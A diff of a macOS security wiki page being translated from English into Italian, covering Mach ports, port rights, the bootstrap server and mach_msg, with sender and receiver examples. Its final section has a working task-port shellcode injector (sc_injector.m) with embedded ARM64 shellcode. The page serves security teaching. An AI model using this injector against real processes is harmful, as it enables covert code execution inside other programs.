inviare messaggi alla porta. +- Il diritto di invio può essere **clonato** in modo che un compito che possiede un diritto di invio possa clonare il diritto e **concederlo a un terzo compito**. +- **Diritto di invio una sola volta**, che consente di inviare un messaggio alla porta e poi scompare. +- **Diritto di insieme di porte**, che denota un _insieme di porte_ piuttosto che una singola porta. Dequeuing un messaggio da un insieme di porte dequeues un messaggio da una delle porte che contiene. Gli insiemi di porte possono essere utilizzati per ascoltare su più porte simultaneamente, molto simile a `select`/`poll`/`epoll`/`kqueue` in Unix. +- **Nome morto**, che non è un vero e proprio diritto di porta, ma semplicemente un segnaposto. Quando una porta viene distrutta, tutti i diritti di porta esistenti per la porta si trasformano in nomi morti. -**Tasks can transfer SEND rights to others**, enabling them to send messages back. **SEND rights can also be cloned, so a task can duplicate and give the right to a third task**. This, combined with an intermediary process known as the **bootstrap server**, allows for effective communication between tasks. +**I compiti possono trasferire diritti di INVIO ad altri**, consentendo loro di inviare messaggi di ritorno. **I diritti di INVIO possono anche essere clonati, quindi un compito può duplicare e dare il diritto a un terzo compito**. Questo, combinato con un processo intermedio noto come **bootstrap server**, consente una comunicazione efficace tra i compiti. -### File Ports +### Porte di File -File ports allows to encapsulate file descriptors in Mac ports (using Mach port rights). It's possible to create a `fileport` from a given FD using `fileport_makeport` and create a FD froma. fileport using `fileport_makefd`. +Le porte di file consentono di incapsulare descrittori di file in porte Mac (utilizzando diritti di porta Mach). È possibile creare un `fileport` da un FD dato utilizzando `fileport_makeport` e creare un FD da un fileport utilizzando `fileport_makefd`. -### Establishing a communication +### Stabilire una comunicazione -#### Steps: +#### Passaggi: -As it's mentioned, in order to establish the communication channel, the **bootstrap server** (**launchd** in mac) is involved. +Come menzionato, per stabilire il canale di comunicazione, è coinvolto il **bootstrap server** (**launchd** in mac). -1. Task **A** initiates a **new port**, obtaining a **RECEIVE right** in the process. -2. Task **A**, being the holder of the RECEIVE right, **generates a SEND right for the port**. -3. Task **A** establishes a **connection** with the **bootstrap server**, providing the **port's service name** and the **SEND right** through a procedure known as the bootstrap register. -4. Task **B** interacts with the **bootstrap server** to execute a bootstrap **lookup for the service** name. If successful, the **server duplicates the SEND right** received from Task A and **transmits it to Task B**. -5. Upon acquiring a SEND right, Task **B** is capable of **formulating** a **message** and dispatching it **to Task A**. -6. For a bi-directional communication usually task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** so it can send messages to TASK B (bi-directional communication). +1. Il compito **A** avvia una **nuova porta**, ottenendo un **diritto di RICEZIONE** nel processo. +2. Il compito **A**, essendo il detentore del diritto di RICEZIONE, **genera un diritto di INVIO per la porta**. +3. Il compito **A** stabilisce una **connessione** con il **bootstrap server**, fornendo il **nome del servizio della porta** e il **diritto di INVIO** attraverso una procedura nota come registrazione bootstrap. +4. Il compito **B** interagisce con il **bootstrap server** per eseguire una **ricerca bootstrap per il nome del servizio**. Se ha successo, il **server duplica il diritto di INVIO** ricevuto dal Compito A e **lo trasmette al Compito B**. +5. Dopo aver acquisito un diritto di INVIO, il Compito **B** è in grado di **formulare** un **messaggio** e inviarlo **al Compito A**. +6. Per una comunicazione bidirezionale, di solito il compito **B** genera una nuova porta con un **diritto di RICEZIONE** e un **diritto di INVIO**, e concede il **diritto di INVIO al Compito A** in modo che possa inviare messaggi al COMPITO B (comunicazione bidirezionale). -The bootstrap server **cannot authenticate** the service name claimed by a task. This means a **task** could potentially **impersonate any system task**, such as falsely **claiming an authorization service name** and then approving every request. +Il bootstrap server **non può autenticare** il nome del servizio rivendicato da un compito. Ciò significa che un **compito** potrebbe potenzialmente **impersonare qualsiasi compito di sistema**, come rivendicare falsamente un nome di servizio di autorizzazione e poi approvare ogni richiesta. -Then, Apple stores the **names of system-provided services** in secure configuration files, located in **SIP-protected** directories: `/System/Library/LaunchDaemons` and `/System/Library/LaunchAgents`. Alongside each service name, the **associated binary is also stored**. The bootstrap server, will create and hold a **RECEIVE right for each of these service names**. +Successivamente, Apple memorizza i **nomi dei servizi forniti dal sistema** in file di configurazione sicuri, situati in directory **protette da SIP**: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Accanto a ciascun nome di servizio, è anche memorizzato il **binario associato**. Il bootstrap server creerà e manterrà un **diritto di RICEZIONE per ciascuno di questi nomi di servizio**. -For these predefined services, the **lookup process differs slightly**. When a service name is being looked up, launchd starts the service dynamically. The new workflow is as follows: +Per questi servizi predefiniti, il **processo di ricerca differisce leggermente**. Quando un nome di servizio viene cercato, launchd avvia il servizio dinamicamente. Il nuovo flusso di lavoro è il seguente: -- Task **B** initiates a bootstrap **lookup** for a service name. -- **launchd** checks if the task is running and if it isn’t, **starts** it. -- Task **A** (the service) performs a **bootstrap check-in**. Here, the **bootstrap** server creates a SEND right, retains it, and **transfers the RECEIVE right to Task A**. -- launchd duplicates the **SEND right and sends it to Task B**. -- Task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** (the svc) so it can send messages to TASK B (bi-directional communication). +- Il compito **B** avvia una **ricerca bootstrap** per un nome di servizio. +- **launchd** verifica se il compito è in esecuzione e, se non lo è, **lo avvia**. +- Il compito **A** (il servizio) esegue un **check-in bootstrap**. Qui, il **bootstrap** server crea un diritto di INVIO, lo trattiene e **trasferisce il diritto di RICEZIONE al Compito A**. +- launchd duplica il **diritto di INVIO e lo invia al Compito B**. +- Il Compito **B** genera una nuova porta con un **diritto di RICEZIONE** e un **diritto di INVIO**, e concede il **diritto di INVIO al Compito A** (il svc) in modo che possa inviare messaggi al COMPITO B (comunicazione bidirezionale). -However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation. +Tuttavia, questo processo si applica solo ai compiti di sistema predefiniti. I compiti non di sistema operano ancora come descritto originariamente, il che potrebbe potenzialmente consentire l'impersonificazione. -### A Mach Message +### Un Messaggio Mach -[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) - -The `mach_msg` function, essentially a system call, is utilized for sending and receiving Mach messages. The function requires the message to be sent as the initial argument. This message must commence with a `mach_msg_header_t` structure, succeeded by the actual message content. The structure is defined as follows: +[Trova ulteriori informazioni qui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) +La funzione `mach_msg`, essenzialmente una chiamata di sistema, è utilizzata per inviare e ricevere messaggi Mach. La funzione richiede che il messaggio da inviare sia l'argomento iniziale. Questo messaggio deve iniziare con una struttura `mach_msg_header_t`, seguita dal contenuto del messaggio effettivo. La struttura è definita come segue: ```c typedef struct { - mach_msg_bits_t msgh_bits; - mach_msg_size_t msgh_size; - mach_port_t msgh_remote_port; - mach_port_t msgh_local_port; - mach_port_name_t msgh_voucher_port; - mach_msg_id_t msgh_id; +mach_msg_bits_t msgh_bits; +mach_msg_size_t msgh_size; +mach_port_t msgh_remote_port; +mach_port_t msgh_local_port; +mach_port_name_t msgh_voucher_port; +mach_msg_id_t msgh_id; } mach_msg_header_t; ``` +I process che possiedono un _**diritto di ricezione**_ possono ricevere messaggi su una porta Mach. Al contrario, ai **mittenti** viene concesso un _**diritto di invio**_ o un _**diritto di invio-una-volta**_. Il diritto di invio-una-volta è esclusivamente per l'invio di un singolo messaggio, dopo il quale diventa invalido. -Processes possessing a _**receive right**_ can receive messages on a Mach port. Conversely, the **senders** are granted a _**send**_ or a _**send-once right**_. The send-once right is exclusively for sending a single message, after which it becomes invalid. - -In order to achieve an easy **bi-directional communication** a process can specify a **mach port** in the mach **message header** called the _reply port_ (**`msgh_local_port`**) where the **receiver** of the message can **send a reply** to this message. The bitflags in **`msgh_bits`** can be used to **indicate** that a **send-once** **right** should be derived and transferred for this port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). +Per ottenere una facile **comunicazione bi-direzionale**, un processo può specificare una **porta mach** nell'**intestazione del messaggio** chiamata _porta di risposta_ (**`msgh_local_port`**) dove il **ricevente** del messaggio può **inviare una risposta** a questo messaggio. I bitflags in **`msgh_bits`** possono essere utilizzati per **indicare** che un **diritto di invio-una-volta** dovrebbe essere derivato e trasferito per questa porta (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). > [!TIP] -> Note that this kind of bi-directional communication is used in XPC messages that expect a replay (`xpc_connection_send_message_with_reply` and `xpc_connection_send_message_with_reply_sync`). But **usually different ports are created** as explained previously to create the bi-directional communication. +> Nota che questo tipo di comunicazione bi-direzionale è utilizzato nei messaggi XPC che si aspettano una risposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Ma **di solito vengono create porte diverse** come spiegato in precedenza per creare la comunicazione bi-direzionale. -The other fields of the message header are: +Gli altri campi dell'intestazione del messaggio sono: -- `msgh_size`: the size of the entire packet. -- `msgh_remote_port`: the port on which this message is sent. +- `msgh_size`: la dimensione dell'intero pacchetto. +- `msgh_remote_port`: la porta su cui questo messaggio viene inviato. - `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html). -- `msgh_id`: the ID of this message, which is interpreted by the receiver. +- `msgh_id`: l'ID di questo messaggio, che è interpretato dal ricevente. > [!CAUTION] -> Note that **mach messages are sent over a \_mach port**\_, which is a **single receiver**, **multiple sender** communication channel built into the mach kernel. **Multiple processes** can **send messages** to a mach port, but at any point only **a single process can read** from it. - -### Enumerate ports +> Nota che **i messaggi mach vengono inviati su una \_porta mach\_**, che è un canale di comunicazione **a singolo ricevente**, **multipli mittenti** integrato nel kernel mach. **Più processi** possono **inviare messaggi** a una porta mach, ma in qualsiasi momento solo **un singolo processo può leggere** da essa. +### Enumerare porte ```bash lsmp -p ``` +Puoi installare questo strumento su iOS scaricandolo da [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) -You can install this tool in iOS downloading it from [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) +### Esempio di codice -### Code example - -Note how the **sender** **allocates** a port, create a **send right** for the name `org.darlinghq.example` and send it to the **bootstrap server** while the sender asked for the **send right** of that name and used it to **send a message**. +Nota come il **mittente** **alloca** una porta, crea un **diritto di invio** per il nome `org.darlinghq.example` e lo invia al **server di bootstrap** mentre il mittente richiede il **diritto di invio** di quel nome e lo utilizza per **inviare un messaggio**. {{#tabs}} {{#tab name="receiver.c"}} - ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc receiver.c -o receiver @@ -118,66 +113,64 @@ Note how the **sender** **allocates** a port, create a **send right** for the na int main() { - // Create a new port. - mach_port_t port; - kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); - if (kr != KERN_SUCCESS) { - printf("mach_port_allocate() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_allocate() created port right name %d\n", port); +// Create a new port. +mach_port_t port; +kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +if (kr != KERN_SUCCESS) { +printf("mach_port_allocate() failed with code 0x%x\n", kr); +return 1; +} +printf("mach_port_allocate() created port right name %d\n", port); - // Give us a send right to this port, in addition to the receive right. - kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); - if (kr != KERN_SUCCESS) { - printf("mach_port_insert_right() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_insert_right() inserted a send right\n"); +// Give us a send right to this port, in addition to the receive right. +kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); +if (kr != KERN_SUCCESS) { +printf("mach_port_insert_right() failed with code 0x%x\n", kr); +return 1; +} +printf("mach_port_insert_right() inserted a send right\n"); - // Send the send right to the bootstrap server, so that it can be looked up by other processes. - kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_register() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_register()'ed our port\n"); +// Send the send right to the bootstrap server, so that it can be looked up by other processes. +kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port); +if (kr != KERN_SUCCESS) { +printf("bootstrap_register() failed with code 0x%x\n", kr); +return 1; +} +printf("bootstrap_register()'ed our port\n"); - // Wait for a message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - mach_msg_trailer_t trailer; - } message; +// Wait for a message. +struct { +mach_msg_header_t header; +char some_text[10]; +int some_number; +mach_msg_trailer_t trailer; +} message; - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_RCV_MSG, // Options. We're receiving a message. - 0, // Size of the message being sent, if sending. - sizeof(message), // Size of the buffer for receiving. - port, // The port to receive a message on. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Got a message\n"); +kr = mach_msg( +&message.header, // Same as (mach_msg_header_t *) &message. +MACH_RCV_MSG, // Options. We're receiving a message. +0, // Size of the message being sent, if sending. +sizeof(message), // Size of the buffer for receiving. +port, // The port to receive a message on. +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL // Port for the kernel to send notifications about this message to. +); +if (kr != KERN_SUCCESS) { +printf("mach_msg() failed with code 0x%x\n", kr); +return 1; +} +printf("Got a message\n"); - message.some_text[9] = 0; - printf("Text: %s, number: %d\n", message.some_text, message.some_number); +message.some_text[9] = 0; +printf("Text: %s, number: %d\n", message.some_text, message.some_number); } ``` - {{#endtab}} {{#tab name="sender.c"}} - ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc sender.c -o sender @@ -188,67 +181,66 @@ int main() { int main() { - // Lookup the receiver port using the bootstrap server. - mach_port_t port; - kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_look_up() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_look_up() returned port right name %d\n", port); +// Lookup the receiver port using the bootstrap server. +mach_port_t port; +kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port); +if (kr != KERN_SUCCESS) { +printf("bootstrap_look_up() failed with code 0x%x\n", kr); +return 1; +} +printf("bootstrap_look_up() returned port right name %d\n", port); - // Construct our message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - } message; +// Construct our message. +struct { +mach_msg_header_t header; +char some_text[10]; +int some_number; +} message; - message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); - message.header.msgh_remote_port = port; - message.header.msgh_local_port = MACH_PORT_NULL; +message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); +message.header.msgh_remote_port = port; +message.header.msgh_local_port = MACH_PORT_NULL; - strncpy(message.some_text, "Hello", sizeof(message.some_text)); - message.some_number = 35; +strncpy(message.some_text, "Hello", sizeof(message.some_text)); +message.some_number = 35; - // Send the message. - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_SEND_MSG, // Options. We're sending a message. - sizeof(message), // Size of the message being sent. - 0, // Size of the buffer for receiving. - MACH_PORT_NULL, // A port to receive a message on, if receiving. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Sent a message\n"); +// Send the message. +kr = mach_msg( +&message.header, // Same as (mach_msg_header_t *) &message. +MACH_SEND_MSG, // Options. We're sending a message. +sizeof(message), // Size of the message being sent. +0, // Size of the buffer for receiving. +MACH_PORT_NULL, // A port to receive a message on, if receiving. +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL // Port for the kernel to send notifications about this message to. +); +if (kr != KERN_SUCCESS) { +printf("mach_msg() failed with code 0x%x\n", kr); +return 1; +} +printf("Sent a message\n"); } ``` - {{#endtab}} {{#endtabs}} -### Privileged Ports +### Porte Privilegiate -- **Host port**: If a process has **Send** privilege over this port he can get **information** about the **system** (e.g. `host_processor_info`). -- **Host priv port**: A process with **Send** right over this port can perform **privileged actions** like loading a kernel extension. The **process need to be root** to get this permission. - - Moreover, in order to call **`kext_request`** API it's needed to have other entitlements **`com.apple.private.kext*`** which are only given to Apple binaries. -- **Task name port:** An unprivileged version of the _task port_. It references the task, but does not allow controlling it. The only thing that seems to be available through it is `task_info()`. -- **Task port** (aka kernel port)**:** With Send permission over this port it's possible to control the task (read/write memory, create threads...). - - Call `mach_task_self()` to **get the name** for this port for the caller task. This port is only **inherited** across **`exec()`**; a new task created with `fork()` gets a new task port (as a special case, a task also gets a new task port after `exec()`in a suid binary). The only way to spawn a task and get its port is to perform the ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) while doing a `fork()`. - - These are the restrictions to access the port (from `macos_task_policy` from the binary `AppleMobileFileIntegrity`): - - If the app has **`com.apple.security.get-task-allow` entitlement** processes from the **same user can access the task port** (commonly added by Xcode for debugging). The **notarization** process won't allow it to production releases. - - Apps with the **`com.apple.system-task-ports`** entitlement can get the **task port for any** process, except the kernel. In older versions it was called **`task_for_pid-allow`**. This is only granted to Apple applications. - - **Root can access task ports** of applications **not** compiled with a **hardened** runtime (and not from Apple). +- **Porta host**: Se un processo ha il privilegio di **Invio** su questa porta, può ottenere **informazioni** sul **sistema** (ad es. `host_processor_info`). +- **Porta priv di host**: Un processo con diritto di **Invio** su questa porta può eseguire **azioni privilegiate** come caricare un'estensione del kernel. Il **processo deve essere root** per ottenere questo permesso. +- Inoltre, per chiamare l'API **`kext_request`** è necessario avere altri diritti **`com.apple.private.kext*`** che sono concessi solo ai binari Apple. +- **Porta nome task:** Una versione non privilegiata della _porta task_. Riferisce al task, ma non consente di controllarlo. L'unica cosa che sembra essere disponibile attraverso di essa è `task_info()`. +- **Porta task** (nota anche come porta kernel)**:** Con permesso di Invio su questa porta è possibile controllare il task (leggere/scrivere memoria, creare thread...). +- Chiama `mach_task_self()` per **ottenere il nome** di questa porta per il task chiamante. Questa porta è solo **ereditaria** attraverso **`exec()`**; un nuovo task creato con `fork()` ottiene una nuova porta task (come caso speciale, un task ottiene anche una nuova porta task dopo `exec()` in un binario suid). L'unico modo per generare un task e ottenere la sua porta è eseguire il ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) mentre si esegue un `fork()`. +- Queste sono le restrizioni per accedere alla porta (da `macos_task_policy` dal binario `AppleMobileFileIntegrity`): +- Se l'app ha il diritto **`com.apple.security.get-task-allow`**, i processi dello **stesso utente possono accedere alla porta task** (comunemente aggiunto da Xcode per il debug). Il processo di **notarizzazione** non lo consentirà per le versioni di produzione. +- Le app con il diritto **`com.apple.system-task-ports`** possono ottenere la **porta task per qualsiasi** processo, tranne il kernel. Nelle versioni precedenti era chiamato **`task_for_pid-allow`**. Questo è concesso solo alle applicazioni Apple. +- **Root può accedere alle porte task** delle applicazioni **non** compilate con un runtime **indurito** (e non da Apple). -### Shellcode Injection in thread via Task port +### Iniezione di Shellcode in thread tramite Porta task -You can grab a shellcode from: +Puoi ottenere uno shellcode da: {{#ref}} ../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -256,7 +248,6 @@ You can grab a shellcode from: {{#tabs}} {{#tab name="mysleep.m"}} - ```objectivec // clang -framework Foundation mysleep.m -o mysleep // codesign --entitlements entitlements.plist -s - mysleep @@ -264,52 +255,48 @@ You can grab a shellcode from: #import double performMathOperations() { - double result = 0; - for (int i = 0; i < 10000; i++) { - result += sqrt(i) * tan(i) - cos(i); - } - return result; +double result = 0; +for (int i = 0; i < 10000; i++) { +result += sqrt(i) * tan(i) - cos(i); +} +return result; } int main(int argc, const char * argv[]) { - @autoreleasepool { - NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] +@autoreleasepool { +NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]); - while (true) { - [NSThread sleepForTimeInterval:5]; +while (true) { +[NSThread sleepForTimeInterval:5]; - performMathOperations(); // Silent action +performMathOperations(); // Silent action - [NSThread sleepForTimeInterval:5]; - } - } - return 0; +[NSThread sleepForTimeInterval:5]; +} +} +return 0; } ``` - {{#endtab}} {{#tab name="entitlements.plist"}} - ```xml - com.apple.security.get-task-allow - +com.apple.security.get-task-allow + ``` - {{#endtab}} {{#endtabs}} -**Compile** the previous program and add the **entitlements** to be able to inject code with the same user (if not you will need to use **sudo**). +**Compila** il programma precedente e aggiungi i **diritti** per poter iniettare codice con lo stesso utente (altrimenti dovrai usare **sudo**).
sc_injector.m - ```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector @@ -323,18 +310,18 @@ processIdentifier]); kern_return_t mach_vm_allocate ( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags +vm_map_t target, +mach_vm_address_t *address, +mach_vm_size_t size, +int flags ); kern_return_t mach_vm_write ( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt +vm_map_t target_task, +mach_vm_address_t address, +vm_offset_t data, +mach_msg_type_number_t dataCnt ); @@ -352,177 +339,174 @@ char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\ int inject(pid_t pid){ - task_t remoteTask; +task_t remoteTask; - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } +// Get access to the task port of the process we want to inject into +kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); +if (kr != KERN_SUCCESS) { +fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); +return (-1); +} +else{ +printf("Gathered privileges over the task port of process: %d\n", pid); +} - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); +// Allocate memory for the stack +mach_vm_address_t remoteStack64 = (vm_address_t) NULL; +mach_vm_address_t remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} +else +{ - fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } +fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); +} - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); +// Allocate memory for the code +remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source +// Write the shellcode to the allocated memory +kr = mach_vm_write(remoteTask, // Task port +remoteCode64, // Virtual Address (Destination) +(vm_address_t) injectedCode, // Source +0xa9); // Length of the source - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); +return (-3); +} - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); +// Set the permissions on the allocated code memory +kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); +// Set the permissions on the allocated stack memory +kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; +// Create thread to run shellcode +struct arm_unified_thread_state remoteThreadState64; +thread_act_t remoteThread; - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); +memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 +remoteStack64 += (STACK_SIZE / 2); // this is the real stack +//remoteStack64 -= 8; // need alignment of 16 - const char* p = (const char*) remoteCode64; +const char* p = (const char*) remoteCode64; - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; +remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; +remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; +remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; +remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); +printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); +kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, +(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } +if (kr != KERN_SUCCESS) { +fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); +return (-3); +} - return (0); +return (0); } pid_t pidForProcessName(NSString *processName) { - NSArray *arguments = @[@"pgrep", processName]; - NSTask *task = [[NSTask alloc] init]; - [task setLaunchPath:@"/usr/bin/env"]; - [task setArguments:arguments]; +NSArray *arguments = @[@"pgrep", processName]; +NSTask *task = [[NSTask alloc] init]; +[task setLaunchPath:@"/usr/bin/env"]; +[task setArguments:arguments]; - NSPipe *pipe = [NSPipe pipe]; - [task setStandardOutput:pipe]; +NSPipe *pipe = [NSPipe pipe]; +[task setStandardOutput:pipe]; - NSFileHandle *file = [pipe fileHandleForReading]; +NSFileHandle *file = [pipe fileHandleForReading]; - [task launch]; +[task launch]; - NSData *data = [file readDataToEndOfFile]; - NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; +NSData *data = [file readDataToEndOfFile]; +NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; - return (pid_t)[string integerValue]; +return (pid_t)[string integerValue]; } BOOL isStringNumeric(NSString *str) { - NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; - NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; - return r.location == NSNotFound; +NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; +NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; +return r.location == NSNotFound; } int main(int argc, const char * argv[]) { - @autoreleasepool { - if (argc < 2) { - NSLog(@"Usage: %s ", argv[0]); - return 1; - } +@autoreleasepool { +if (argc < 2) { +NSLog(@"Usage: %s ", argv[0]); +return 1; +} - NSString *arg = [NSString stringWithUTF8String:argv[1]]; - pid_t pid; +NSString *arg = [NSString stringWithUTF8String:argv[1]]; +pid_t pid; - if (isStringNumeric(arg)) { - pid = [arg intValue]; - } else { - pid = pidForProcessName(arg); - if (pid == 0) { - NSLog(@"Error: Process named '%@' not found.", arg); - return 1; - } - else{ - printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); - } - } +if (isStringNumeric(arg)) { +pid = [arg intValue]; +} else { +pid = pidForProcessName(arg); +if (pid == 0) { +NSLog(@"Error: Process named '%@' not found.", arg); +return 1; +} +else{ +printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); +} +} - inject(pid); - } +inject(pid); +} - return 0; +return 0; } ``` -
